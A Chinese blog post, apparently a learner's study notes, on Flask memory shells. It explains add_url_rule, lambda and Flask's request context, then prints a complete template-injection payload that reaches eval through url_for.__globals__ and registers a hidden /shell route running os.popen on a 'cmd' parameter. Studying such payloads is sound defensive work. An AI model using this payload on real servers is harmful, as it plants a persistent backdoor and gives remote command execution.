文章目录

  • ​​前言​​
  • ​​前置知识​​
  • ​​app.add_url_rule()函数​​
  • ​​lambda表达式​​
  • ​​正文​​
  • ​​参考文章​​

前言

只是感觉比较好玩,索性简单学习了下,还蛮有意思

前置知识

app.add_url_rule()函数

一个简单的用法

app.add_url_rule('/index/',endpoint='index',view_func=index)

add_url_rule三个参数解释:

第一个参数:函数对应的url规则,满足条件和app.route()的第一个参数一样,必须以’/'开始
endpoint:站点,就是在使用url_for()进行反转的时候,这个里面传入的第一个参数就是这个endpoint对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值
view_func:对应的函数,即这个url对应的是哪一个函数,注意,这里函数只需要写函数名字,不要加括号,加括号表示将函数的返回值传给了view_func参数了。程序就会直接报错。

lambda表达式

菜鸟教程有,懒得写
​​​ https://www.runoob.com/python/python-functions.html​

正文

通过参考文章的Flask上下文管理机制文章的学习,一开始不懂,我自己本地调试后有了一定理解,强烈建议自己跟着Flask上下文管理机制进行debug学习
当一个网页请求来以后,Flask会实例化对象app,执行​​​__call__​​,

def __call__(self, environ, start_response):
"""The WSGI server calls the Flask application object as the
WSGI application. This calls :meth:`wsgi_app` which can be
wrapped to applying middleware."""
return self.wsgi_app(environ, start_response)

返回得到一个RequestContext的对象,重点是里面有request以及session
,如下

class RequestContext(object):
def __init__(self, app, environ, request=None):
self.app = app #app = Flask对象
if request is None:
#请求的原始信息通过request_class后此时request已经存在,request.methods等
request = app.request_class(environ)
self.request = request
self.url_adapter = app.create_url_adapter(self.request)
self.flashes = None
self.session = None

在最后​​_request_ctx_stack.push(self)​​​,此时这个self即为​​RequestContext​​​对象,因此我们接下来我们分析这个payload,由于没有request,因此需要通过​​RequestContext​​来获取

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

找到eval方法,​​_request_ctx_stack.top​​返回RequestContext,其包含request,因此便可以利用此获取参数进行命令执行

参考文章

​iceyhexman/flask_memory_shell​​​flask–app.add_url_rule()函数 和 类视图详解
Flask上下文管理机制